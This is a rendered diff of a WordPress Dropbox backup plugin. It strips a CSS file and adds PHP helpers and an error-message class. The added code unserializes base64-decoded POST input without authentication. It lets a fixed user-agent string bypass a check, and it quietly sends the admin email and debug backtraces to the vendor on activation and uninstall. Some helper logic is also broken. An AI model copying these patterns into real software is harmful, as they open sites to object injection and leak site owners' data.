|
393 |
-
border:5px solid #fff;
|
394 |
-
background: #ffffa5;
|
395 |
-
padding: 3px;
|
396 |
-
height: auto;
|
397 |
-
overflow:hidden;
|
398 |
-
}
|
399 |
-
|
400 |
-
.form-account-block-login {
|
401 |
-
margin-left: 10px;
|
402 |
-
width: 90%;
|
403 |
-
|
404 |
-
}
|
405 |
-
.form-account-info {
|
406 |
-
float:left;
|
407 |
-
width: 50%;
|
408 |
-
margin-left: 20px;
|
409 |
-
}
|
410 |
-
.b_2 {
|
411 |
-
background: url("button_ok.png") no-repeat scroll 0 0 rgba(0, 0, 0, 0);
|
412 |
-
color: #464646;
|
413 |
-
font-family: Arial,Helvetica,sans-serif;
|
414 |
-
font-size: 18px;
|
415 |
-
left: 12px;
|
416 |
-
padding-left: 30px;
|
417 |
-
top: 60px;
|
418 |
-
padding-top: 4px;
|
419 |
-
padding-bottom : 5px;
|
420 |
-
}
|
421 |
-
.b-3 {
|
422 |
-
font-size: 22px;
|
423 |
-
}
|
424 |
-
.form-account-button {
|
425 |
-
margin-top: 21px;
|
426 |
-
}
|
427 |
-
.label-form {
|
428 |
-
margin-left: 6px;
|
429 |
-
font-size: 16px;
|
430 |
-
}
|
431 |
-
.last {
|
432 |
-
line-height: 18px;
|
433 |
-
margin-top: 9px;
|
434 |
-
}
|
435 |
-
.progress {
|
436 |
-
height: 20px;
|
437 |
-
background: #ebebeb;
|
438 |
-
border-left: 1px solid transparent;
|
439 |
-
border-right: 1px solid transparent;
|
440 |
-
border-radius: 10px;
|
441 |
-
}
|
442 |
-
.progress > span {
|
443 |
-
position: relative;
|
444 |
-
float: left;
|
445 |
-
margin: 0 -1px;
|
446 |
-
min-width: 30px;
|
447 |
-
height: 18px;
|
448 |
-
line-height: 16px;
|
449 |
-
text-align: right;
|
450 |
-
background: #cccccc;
|
451 |
-
border: 1px solid;
|
452 |
-
border-color: #bfbfbf #b3b3b3 #9e9e9e;
|
453 |
-
border-radius: 10px;
|
454 |
-
background-image: -webkit-linear-gradient(top, #f0f0f0, #dbdbdb 70%, #cccccc);
|
455 |
-
background-image: -moz-linear-gradient(top, #f0f0f0, #dbdbdb 70%, #cccccc);
|
456 |
-
background-image: -o-linear-gradient(top, #f0f0f0, #dbdbdb 70%, #cccccc);
|
457 |
-
background-image: linear-gradient(to bottom, #f0f0f0, #dbdbdb 70%, #cccccc);
|
458 |
-
-webkit-box-shadow: inset 0 1px rgba(255, 255, 255, 0.3), 0 1px 2px rgba(0, 0, 0, 0.2);
|
459 |
-
box-shadow: inset 0 1px rgba(255, 255, 255, 0.3), 0 1px 2px rgba(0, 0, 0, 0.2);
|
460 |
-
}
|
461 |
-
.progress > span > span {
|
462 |
-
padding: 0 8px;
|
463 |
-
font-size: 11px;
|
464 |
-
font-weight: bold;
|
465 |
-
color: #404040;
|
466 |
-
color: rgba(0, 0, 0, 0.7);
|
467 |
-
text-shadow: 0 1px rgba(255, 255, 255, 0.4);
|
468 |
-
}
|
469 |
-
.progress > span:before {
|
470 |
-
content: '';
|
471 |
-
position: absolute;
|
472 |
-
top: 0;
|
473 |
-
bottom: 0;
|
474 |
-
left: 0;
|
475 |
-
right: 0;
|
476 |
-
z-index: 1;
|
477 |
-
height: 18px;
|
478 |
-
border-radius: 10px;
|
479 |
-
}
|
480 |
-
|
481 |
-
|
482 |
-
|
483 |
-
.stat-form-counter {
|
484 |
-
background: none repeat scroll 0 0 #0096d6;
|
485 |
-
color: #fff;
|
486 |
-
margin-bottom: 20px;
|
487 |
-
width: 46%;
|
488 |
-
margin-right: 0;
|
489 |
-
border: 0;
|
490 |
-
padding: 3px;
|
491 |
-
}
|
492 |
-
.stat-wpadm-registr-info {
|
493 |
-
color: #fff;
|
494 |
-
float: left;
|
495 |
-
width: 57%;
|
496 |
-
}
|
497 |
-
.stat-wpadm-registr-info label {
|
498 |
-
color:#fff;
|
499 |
-
}
|
500 |
-
.stat-wpadm-info-title {
|
501 |
-
color: #fff;
|
502 |
-
font-size: 20px;
|
503 |
-
padding :20px 0px;
|
504 |
-
margin-top:10px;
|
505 |
-
text-align: center;
|
506 |
-
}
|
507 |
-
.stat-table-registr {
|
508 |
-
margin-top: 20px;
|
509 |
-
}
|
510 |
-
.stat-table-registr th, .stat-table-registr td {
|
511 |
-
padding:5px;
|
512 |
-
}
|
513 |
-
.stat-wpadm-info {
|
514 |
-
width: 37%; margin-left: 9px; height:100%; padding-top: 0px; margin-top:20px;
|
515 |
-
color: #fff;
|
516 |
-
float: left;
|
517 |
-
border-left: 1px solid #fff;
|
518 |
-
font-size: 12px;
|
519 |
-
margin-bottom: 20px;
|
520 |
-
padding-left: 20px;
|
521 |
-
}
|
522 |
-
.block-button-show {
|
523 |
-
padding:11px 18px; cursor: pointer; text-align: center;
|
524 |
-
}
|
525 |
-
.block-button-show .block-click {
|
526 |
-
padding-top: 10px;
|
527 |
-
font-size: 16px;
|
528 |
-
border-top:1px solid #fff;
|
529 |
-
}
|
530 |
-
.stat-setting {
|
531 |
-
border-left:1px solid #fff;
|
532 |
-
margin-right: 0px;
|
533 |
-
}
|
534 |
-
#stat-title-setting{
|
535 |
-
font-size: 20px;
|
536 |
-
margin-top: 10px;
|
537 |
-
padding: 20px 0;
|
538 |
-
text-align: center;
|
539 |
-
}
|
540 |
-
#preview-image {
|
541 |
-
height: 105px; float: left; margin-right: 10px; margin-top:45px;
|
542 |
-
}
|
543 |
-
#preview-image .block-preview-image {
|
544 |
-
padding: 10px; border: 1px solid #fff; margin-left: 10px; margin-top:20px; width: 90px; text-align: center;
|
545 |
-
}
|
546 |
-
#preview-image .title-preveiw-image {
|
547 |
-
font-size: 16px; position: absolute;margin-top: -28px; margin-left: 7px;background: #0096d6; padding: 3px;
|
548 |
-
}
|
549 |
-
#preview-image .image-block {
|
550 |
-
display: table;
|
551 |
-
}
|
552 |
-
.image-block .image-block-in {
|
553 |
-
display: table-cell; vertical-align: middle;
|
554 |
-
}
|
555 |
-
.image-block-in img {
|
556 |
-
float: left;margin-top:7px;
|
557 |
-
margin-left: 2px;
|
558 |
-
}
|
559 |
-
.image-block-in .text-image-counter {
|
560 |
-
float: left;
|
561 |
-
padding-left:3px;
|
562 |
-
font-size: 8px;
|
563 |
-
font-weight: 600;
|
564 |
-
}
|
565 |
-
#setting-form .info-block {
|
566 |
-
float: left; margin: 5px 0px 0px; width:74%;
|
567 |
-
}
|
568 |
-
#setting-form .first-info-block {
|
569 |
-
margin: 20px 0px 0px;
|
570 |
-
}
|
571 |
-
.info-block-detail {
|
572 |
-
float:left;
|
573 |
-
}
|
574 |
-
.detail-title {
|
575 |
-
margin: 0 5px; width: 30%;
|
576 |
-
}
|
577 |
-
#setting-form .info-block .details-info {
|
578 |
-
width: auto;
|
579 |
-
font-size: 10px;
|
580 |
-
margin:0px;
|
581 |
-
}
|
582 |
-
#setting-form .info-block input[type="text"] {
|
583 |
-
font-size: 14px;
|
584 |
-
height: 28px;
|
585 |
-
}
|
586 |
-
.info-block .checkbox-info {
|
587 |
-
width:101px;
|
588 |
-
text-align:right;
|
589 |
-
}
|
590 |
-
.checkbox-info input[type="checkbox"] {
|
591 |
-
margin-right: 0px;
|
592 |
-
}
|
593 |
-
.stat-setting-save {
|
594 |
-
text-align: center; margin-top: 10px;
|
595 |
-
}
|
596 |
-
|
597 |
-
/*default style */
|
598 |
-
@media only screen and (max-width: 960px) {
|
599 |
-
/*
|
600 |
-
tablet computer
|
601 |
-
*/
|
602 |
-
.stat-wpadm-info {
|
603 |
-
margin-left: 9px; height:100%; padding-top: 0px; margin-top:20px;
|
604 |
-
color: #fff;
|
605 |
-
float: none;
|
606 |
-
clear:both;
|
607 |
-
border-left: 0px;
|
608 |
-
border-top:1px solid #fff;
|
609 |
-
font-size: 10px;
|
610 |
-
margin-bottom: 10px;
|
611 |
-
padding-left: 0px;
|
612 |
-
width:88%;
|
613 |
-
|
614 |
-
|
615 |
-
}
|
616 |
-
.stat-table-registr th, .stat-table-registr td {
|
617 |
-
padding:2px;
|
618 |
-
font-size:10px;
|
619 |
-
}
|
620 |
-
.stat-table-registr {
|
621 |
-
margin-top: 10px;
|
622 |
-
float:none;
|
623 |
-
}
|
624 |
-
.form-table th {
|
625 |
-
line-height: 10px;
|
626 |
-
}
|
627 |
-
.stat-table-registr input {
|
628 |
-
font-size: 10px;
|
629 |
-
height: 20px;
|
630 |
-
line-height: 10px;
|
631 |
-
}
|
632 |
-
.stat-form-counter {
|
633 |
-
font-size:10px;
|
634 |
-
margin-right:5px;
|
635 |
-
}
|
636 |
-
#setting-form .info-block {
|
637 |
-
width:60%;
|
638 |
-
}
|
639 |
-
#preview-image {
|
640 |
-
height: 105px;
|
641 |
-
float: left;
|
642 |
-
margin-right: 10px;
|
643 |
-
}
|
644 |
-
.detail-title {
|
645 |
-
margin: 0 5px; width:auto;
|
646 |
-
}
|
647 |
-
#setting-form .info-block .details-info {
|
648 |
-
width: auto;
|
649 |
-
font-size: 8px;
|
650 |
-
float:none;
|
651 |
-
clear:both;
|
652 |
-
line-height: 8px;
|
653 |
-
margin-bottom:5px;
|
654 |
-
|
655 |
-
}
|
656 |
-
.info-block .checkbox-info {
|
657 |
-
width:28px;
|
658 |
-
}
|
659 |
-
#setting-form .info-block input[type="text"] {
|
660 |
-
font-size:12px;
|
661 |
-
height: 20px;
|
662 |
-
}
|
663 |
-
.minicolors-theme-default.minicolors-position-right .minicolors-input {
|
664 |
-
padding-right: 10px;
|
665 |
-
}
|
666 |
-
|
667 |
-
.minicolors-theme-default .minicolors-swatch {
|
668 |
-
height: 18px;
|
669 |
-
left: 5px;
|
670 |
-
top: 1px;
|
671 |
-
width: 18px;
|
672 |
-
}
|
673 |
-
|
674 |
-
}
|
675 |
-
@media only screen and (max-width: 1124px) {
|
676 |
-
.stat-form-counter {
|
677 |
-
font-size:10px;
|
678 |
-
margin-right:3.5%;
|
679 |
-
}
|
680 |
-
#setting-form .info-block {
|
681 |
-
width:55%;
|
682 |
-
}
|
683 |
-
#preview-image {
|
684 |
-
height: 105px;
|
685 |
-
float: left;
|
686 |
-
margin-right: 10px;
|
687 |
-
margin-top:40px;
|
688 |
-
}
|
689 |
-
.info-block input[type="text"] {
|
690 |
-
font-size:12px;
|
691 |
-
height: 20px;
|
692 |
-
}
|
693 |
-
|
694 |
-
}
|
695 |
-
@media only screen and (max-width: 758px) {
|
696 |
-
/*
|
697 |
-
vertical tablet computer
|
698 |
-
*/
|
699 |
-
}
|
700 |
-
@media only screen and (max-width: 524px) {
|
701 |
-
/*phone*/
|
702 |
-
}
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
dropbox-backup.php
CHANGED
@@ -1,22 +1,24 @@
|
|
1 |
<?php
|
2 |
/*
|
3 |
-
Plugin Name:
|
4 |
-
Description:
|
5 |
-
Version: 1.1
|
|
|
6 |
*/
|
7 |
|
8 |
-
|
9 |
-
|
10 |
-
require_once dirname(__FILE__) . DIRECTORY_SEPARATOR . 'wpadm-class-wp.php';
|
11 |
}
|
12 |
|
13 |
-
|
14 |
-
|
15 |
-
|
16 |
-
// add item to menu
|
17 |
|
18 |
-
add_action('
|
19 |
|
|
|
|
|
|
|
20 |
|
21 |
if (!function_exists('wpadm_full_backup_dropbox_run')) {
|
22 |
function wpadm_full_backup_dropbox_run()
|
1 |
<?php
|
2 |
/*
|
3 |
+
Plugin Name: Dropbox Backup & Restore
|
4 |
+
Description: Dropbox Backup & Restore Plugin to create Dropbox Full Backup (Files + Database) of your Web Page
|
5 |
+
Version: 1.4.1
|
6 |
+
Text Domain: dropbox-backup
|
7 |
*/
|
8 |
|
9 |
+
if (!defined('DRBBACKUP_BASE_DIR')) {
|
10 |
+
define('DRBBACKUP_BASE_DIR', dirname(__FILE__));
|
|
|
11 |
}
|
12 |
|
13 |
+
require_once dirname(__FILE__) . DIRECTORY_SEPARATOR . '/modules/constant.php';
|
14 |
+
require_once dirname(__FILE__) . DIRECTORY_SEPARATOR . '/functions/wpadm.php';
|
15 |
+
require_once dirname(__FILE__) . DIRECTORY_SEPARATOR . '/main/wpadm-class-wp.php';
|
|
|
16 |
|
17 |
+
add_action('init', 'wpadm_full_backup_dropbox_run');
|
18 |
|
19 |
+
add_action('admin_print_scripts', array('wpadm_wp_full_backup_dropbox', 'include_admins_script' ));
|
20 |
+
add_action('admin_menu', array('wpadm_wp_full_backup_dropbox', 'draw_menu'));
|
21 |
+
add_action('admin_post_activate_wpadm_full_backup_dropbox', array('wpadm_wp_full_backup_dropbox', 'activatePlugin') );
|
22 |
|
23 |
if (!function_exists('wpadm_full_backup_dropbox_run')) {
|
24 |
function wpadm_full_backup_dropbox_run()
|
functions/index.php
ADDED
@@ -0,0 +1 @@
|
|
|
1 |
+
<?php
|
functions/wpadm.php
ADDED
@@ -0,0 +1,190 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
<?php
|
2 |
+
/**
|
3 |
+
* General functions
|
4 |
+
*
|
5 |
+
*/
|
6 |
+
|
7 |
+
if ( ! function_exists( 'wpadm_run' )) {
|
8 |
+
function wpadm_run($pl, $dir) {
|
9 |
+
|
10 |
+
require_once DRBBACKUP_BASE_DIR . '/modules/class-wpadm-method-class.php';
|
11 |
+
$request_name = $pl . '_request';
|
12 |
+
if( isset( $_POST[$request_name] ) && ! empty ( $_POST[$request_name] ) ) {
|
13 |
+
require_once DRBBACKUP_BASE_DIR . '/modules/class-wpadm-core.php';
|
14 |
+
WPAdm_Core::$cron = false;
|
15 |
+
$user_ip = wpadm_getIp();
|
16 |
+
if ($_SERVER['SERVER_ADDR'] != $user_ip && $_SERVER['HTTP_USER_AGENT'] != 'dropbox-backup user-agent') {
|
17 |
+
WPAdm_Running::init_params_default(false);
|
18 |
+
}
|
19 |
+
$wpadm = new WPAdm_Core(wpadm_unpack($_POST[$request_name]), $pl, $dir);
|
20 |
+
echo '<wpadm>' . wpadm_pack($wpadm->getResult()->toArray()) . '</wpadm>';
|
21 |
+
exit;
|
22 |
+
}
|
23 |
+
}
|
24 |
+
}
|
25 |
+
|
26 |
+
|
27 |
+
if ( ! function_exists( 'wpadm_unpack' )) {
|
28 |
+
/**
|
29 |
+
* @param str $str
|
30 |
+
* @return mixed
|
31 |
+
*/
|
32 |
+
function wpadm_unpack( $str ) {
|
33 |
+
return unserialize( base64_decode( $str ) );
|
34 |
+
}
|
35 |
+
}
|
36 |
+
|
37 |
+
if ( ! function_exists('wpadm_pack')) {
|
38 |
+
/**
|
39 |
+
* @param mixed $value
|
40 |
+
* @return string
|
41 |
+
*/
|
42 |
+
function wpadm_pack( $value ) {
|
43 |
+
return base64_encode( serialize ( $value ) ) ;
|
44 |
+
}
|
45 |
+
}
|
46 |
+
|
47 |
+
if ( ! function_exists('wpadm_admin_notice')) {
|
48 |
+
function wpadm_admin_notice() {
|
49 |
+
|
50 |
+
}
|
51 |
+
}
|
52 |
+
|
53 |
+
|
54 |
+
if ( ! function_exists('wpadm_deactivation')) {
|
55 |
+
function wpadm_deactivation() {
|
56 |
+
wpadm_send_blog_info('deactivation');
|
57 |
+
}
|
58 |
+
}
|
59 |
+
|
60 |
+
|
61 |
+
if ( ! function_exists('wpadm_uninstall')) {
|
62 |
+
function wpadm_uninstall() {
|
63 |
+
wpadm_send_blog_info('uninstall');
|
64 |
+
}
|
65 |
+
}
|
66 |
+
|
67 |
+
|
68 |
+
if ( ! function_exists('wpadm_activation')) {
|
69 |
+
function wpadm_activation() {
|
70 |
+
wpadm_send_blog_info('activation');
|
71 |
+
}
|
72 |
+
}
|
73 |
+
|
74 |
+
if ( ! function_exists('wpadm_send_blog_info')) {
|
75 |
+
function wpadm_send_blog_info($status) {
|
76 |
+
$info = wpadm_get_blog_info();
|
77 |
+
$info['status'] = $status;
|
78 |
+
|
79 |
+
$data = wpadm_pack($info);
|
80 |
+
$host = WPADM_URL_BASE;
|
81 |
+
$host = str_replace(array('http://','https://'), '', trim($host,'/'));
|
82 |
+
$socket = fsockopen($host, 80, $errno, $errstr, 30);
|
83 |
+
fwrite($socket, "GET /wpsite/pluginHook?data={$data} HTTP/1.1\r\n");
|
84 |
+
fwrite($socket, "Host: {$host}\r\n");
|
85 |
+
|
86 |
+
fwrite($socket,"Content-type: application/x-www-form-urlencoded\r\n");
|
87 |
+
fwrite($socket,"Content-length:".strlen($data)."\r\n");
|
88 |
+
fwrite($socket,"Accept:*/*\r\n");
|
89 |
+
fwrite($socket,"User-agent:Opera 10.00\r\n");
|
90 |
+
fwrite($socket,"Connection:Close\r\n");
|
91 |
+
fwrite($socket,"\r\n");
|
92 |
+
sleep(1);
|
93 |
+
fclose($socket);
|
94 |
+
}
|
95 |
+
}
|
96 |
+
if (!function_exists('wpadm_getIp')) {
|
97 |
+
function wpadm_getIp()
|
98 |
+
{
|
99 |
+
$user_ip = '';
|
100 |
+
if ( getenv('REMOTE_ADDR') ){
|
101 |
+
$user_ip = getenv('REMOTE_ADDR');
|
102 |
+
}elseif ( getenv('HTTP_FORWARDED_FOR') ){
|
103 |
+
$user_ip = getenv('HTTP_FORWARDED_FOR');
|
104 |
+
}elseif ( getenv('HTTP_X_FORWARDED_FOR') ){
|
105 |
+
$user_ip = getenv('HTTP_X_FORWARDED_FOR');
|
106 |
+
}elseif ( getenv('HTTP_X_COMING_FROM') ){
|
107 |
+
$user_ip = getenv('HTTP_X_COMING_FROM');
|
108 |
+
}elseif ( getenv('HTTP_VIA') ){
|
109 |
+
$user_ip = getenv('HTTP_VIA');
|
110 |
+
}elseif ( getenv('HTTP_XROXY_CONNECTION') ){
|
111 |
+
$user_ip = getenv('HTTP_XROXY_CONNECTION');
|
112 |
+
}elseif ( getenv('HTTP_CLIENT_IP') ){
|
113 |
+
$user_ip = getenv('HTTP_CLIENT_IP');
|
114 |
+
}
|
115 |
+
|
116 |
+
$user_ip = trim($user_ip);
|
117 |
+
if ( empty($user_ip) ){
|
118 |
+
return '';
|
119 |
+
}
|
120 |
+
if ( !preg_match("/^([1-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])(\.([0-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])){3}$/", $user_ip) ){
|
121 |
+
return '';
|
122 |
+
}
|
123 |
+
return $user_ip;
|
124 |
+
}
|
125 |
+
}
|
126 |
+
|
127 |
+
if ( ! function_exists('wpadm_get_blog_info')) {
|
128 |
+
function wpadm_get_blog_info() {
|
129 |
+
$info = array(
|
130 |
+
'url' => get_site_url(),
|
131 |
+
'email' => get_option('admin_email')
|
132 |
+
);
|
133 |
+
$debug = debug_backtrace();
|
134 |
+
$info['debug'] = $debug;
|
135 |
+
$file = (is_array($debug[count($debug)-1]['args'][0]))?$debug[count($debug)-1]['args'][0][0] : $debug[count($debug)-1]['args'][0];
|
136 |
+
preg_match("|wpadm_.*wpadm_(.*)\.php|", $file, $m);
|
137 |
+
$info['plugin'] = '';
|
138 |
+
if (isset($m[1])) {
|
139 |
+
$info['plugin'] = $m[1];
|
140 |
+
}
|
141 |
+
|
142 |
+
return $info;
|
143 |
+
}
|
144 |
+
}
|
145 |
+
if ( ! function_exists( "wpadm_set_plugin" )) {
|
146 |
+
function wpadm_set_plugin($plugin_name = '')
|
147 |
+
{
|
148 |
+
if (!empty($plugin_name) && function_exists("wpadm_run")) {
|
149 |
+
$GLOBALS['wpadm_plugin'][] = $plugin_name;
|
150 |
+
}
|
151 |
+
}
|
152 |
+
}
|
153 |
+
if (!function_exists('wpadm_in_array')) {
|
154 |
+
function wpadm_in_array($value, $key, $array, $ids = false)
|
155 |
+
{
|
156 |
+
if (is_array($array)) {
|
157 |
+
foreach($array as $k => $v) {
|
158 |
+
if (!is_array($v) && $k == $key && $v == $value) {
|
159 |
+
if ($ids) {
|
160 |
+
return $k;
|
161 |
+
}
|
162 |
+
return true;
|
163 |
+
} elseif (is_array($v) && isset($v[$key]) && $v[$key] == $value ) {
|
164 |
+
if ($ids) {
|
165 |
+
return $k;
|
166 |
+
}
|
167 |
+
return true;
|
168 |
+
}
|
169 |
+
}
|
170 |
+
}
|
171 |
+
return false;
|
172 |
+
}
|
173 |
+
}
|
174 |
+
if (function_exists('wpadm_getKey')) {
|
175 |
+
function wpadm_getKey($array, $key)
|
176 |
+
{
|
177 |
+
$return = array();
|
178 |
+
if (empty($array) && ($n = count($array)) > 0) {
|
179 |
+
for($i = 0; $i < $n; $i++) {
|
180 |
+
if (isset($array[$i]['key']) && is_array($key) && in_array($array[$i]['key'], $key) ) {
|
181 |
+
$return[] = $i;
|
182 |
+
} elseif(isset($array[$i]['key']) && is_string($key) ) {
|
183 |
+
$return[] = $i;
|
184 |
+
}
|
185 |
+
}
|
186 |
+
}
|
187 |
+
return $return;
|
188 |
+
}
|
189 |
+
}
|
190 |
+
|
img/dropbox.png
ADDED
Binary file
|
img/stars-5.png
ADDED
Binary file
|
wpadm-logo.png → img/wpadm-logo.png
RENAMED
File without changes
|
img/wpadmload.gif
ADDED
Binary file
|
libs/error.class.php
ADDED
@@ -0,0 +1,40 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
<?php
|
2 |
+
/**
|
3 |
+
* error
|
4 |
+
*
|
5 |
+
* 100 - mothod not exist
|
6 |
+
* 101 - error method api
|
7 |
+
* 102 - error in the received data
|
8 |
+
* 103 - error
|
9 |
+
*
|
10 |
+
* notice
|
11 |
+
* 401 - activate user
|
12 |
+
*
|
13 |
+
* success
|
14 |
+
* 201 - registaration and acivate ok
|
15 |
+
* 202 - acivate plugin ok
|
16 |
+
*
|
17 |
+
*/
|
18 |
+
if ( ! class_exists("errorWPADM")) {
|
19 |
+
class errorWPADM {
|
20 |
+
private static $messages = array(
|
21 |
+
100 => 'Method doesn\'t exist.',
|
22 |
+
101 => 'Method has an error.',
|
23 |
+
102 => 'Received data has an error.',
|
24 |
+
103 => 'There is an error in plugin activation.',
|
25 |
+
201 => 'Registration and activation was successful.',
|
26 |
+
202 => 'Plugin activation was successful.',
|
27 |
+
401 => 'The User at WPAdm is not activated. Please, activate you User at WPAdm-System in <url> and try again.',
|
28 |
+
|
29 |
+
);
|
30 |
+
public static function getMessage($code)
|
31 |
+
{
|
32 |
+
if (isset(self::$messages[$code])) {
|
33 |
+
return self::$messages[$code];
|
34 |
+
} else {
|
35 |
+
return "Server error: received data are invalid.";
|
36 |
+
}
|
37 |
+
|
38 |
+
}
|
39 |
+
}
|
40 |
+
}
|
libs/index.php
ADDED
@@ -0,0 +1 @@
|
|
|
1 |
+
<?php
